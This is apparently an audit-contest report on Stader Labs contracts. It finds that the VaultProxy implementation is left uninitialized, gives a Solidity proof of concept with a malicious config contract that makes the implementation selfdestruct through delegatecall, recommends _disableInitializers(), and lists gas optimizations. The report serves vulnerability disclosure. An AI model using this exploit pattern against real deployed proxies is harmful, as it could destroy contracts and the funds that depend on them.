Stader Labs - 0x70C9's results

Lines of code

https://github.com/code-423n4/2023-06-stader/blob/main/contracts/factory/VaultFactory.sol#L29

Vulnerability details

Impact

When the VaultFactory contract gets initialized, it deploys an instance of VaultProxy to be used as the implementation contract that gets cloned throughout the factory contract. Because this VaultProxy is not getting initialized, anybody can be the initializer of the vaultProxyImplementation. The attacker can initialize and pass a malicious staderConfig address containing a selfdestruct instruction. All the attacker needs to do now is to call the malicious function, and the proxy will delegatecall to it, leading to the selfdestruct of the implementation contract being used in the VaultFactory.

Proof of Concept

contract MaliciousStaderConfig {
  address admin;
  
  constructor() {
    admin = msg.sender;
  }

  function getAdmin() external view returns (address) {
    return admin;
  }

  function getValidatorWithdrawalVaultImplementation() external view returns (address) {
    return address(this);
  }

  function kill() external {
    selfdestruct(admin);
  }
}

contract TestAttack() {
  VaultFactory vaultFactory;
  /* ... */
  function attack() public {
    address vaultProxyImplementation = vaultFactory.vaultProxyImplementation();
    MaliciousStaderConfig attacker = new MaliciousStaderConfig();
    VaultProxy(vaultProxyImplementation).initialise(true, 1, 1, address(attacker));
    MaliciousStaderConfig(vaultProxyImplementation).kill();  // selfdestructs 
  }
}

Tools Used

Manual review.

Recommended Mitigation Steps

Add _disableInitializers() in the constructor of VaultProxy, just like it's being done on the VaultFactory contract.

Assessed type

Access Control

Gas Optimizations

NodeELRewardVault.withdraw could query the right slots and avoid external calls

In the withdraw function, one queries poolId, operatorId, etc, by doing IVaultProxy(address(this)).poolId(), etc. Consider just mimicking the same storage layout present in the VaultProxy contract and just query those values as normal SLOADs, thus avoiding external calls to self.

PermissionedPool.stakeUserETHToBeacon for loop index can be incremented with unchecked

The for loop inside another for loop in stakeUserETHToBeacon is incrementing index without an unchecked block. Consider wrapping it into an unchecked block, just like it´s being done with i.

PermissionedPool.fullDepositOnBeaconChain doesn't need to call getPermissionedNodeRegistry

The fullDepositOnBeaconChain function can only be called by the PermissionedNodeRegistry. So after the first UtilLib check, we are certain that msg.sender is the node registry address. So instead of doing address nodeRegistryAddress = staderConfig.getPermissionedNodeRegistry();, just do address nodeRegistryAddress = msg.sender;.

Make PermissionedPool.computeDepositDataRoot public instead of external

The computeDepositDataRoot function gets called internally inside the PermissionedPool contract, and since it is external it can only be called through an external call. Consider changing the visibility to public to allow the execution of computeDepositDataRoot inside the contract without the need for an external call.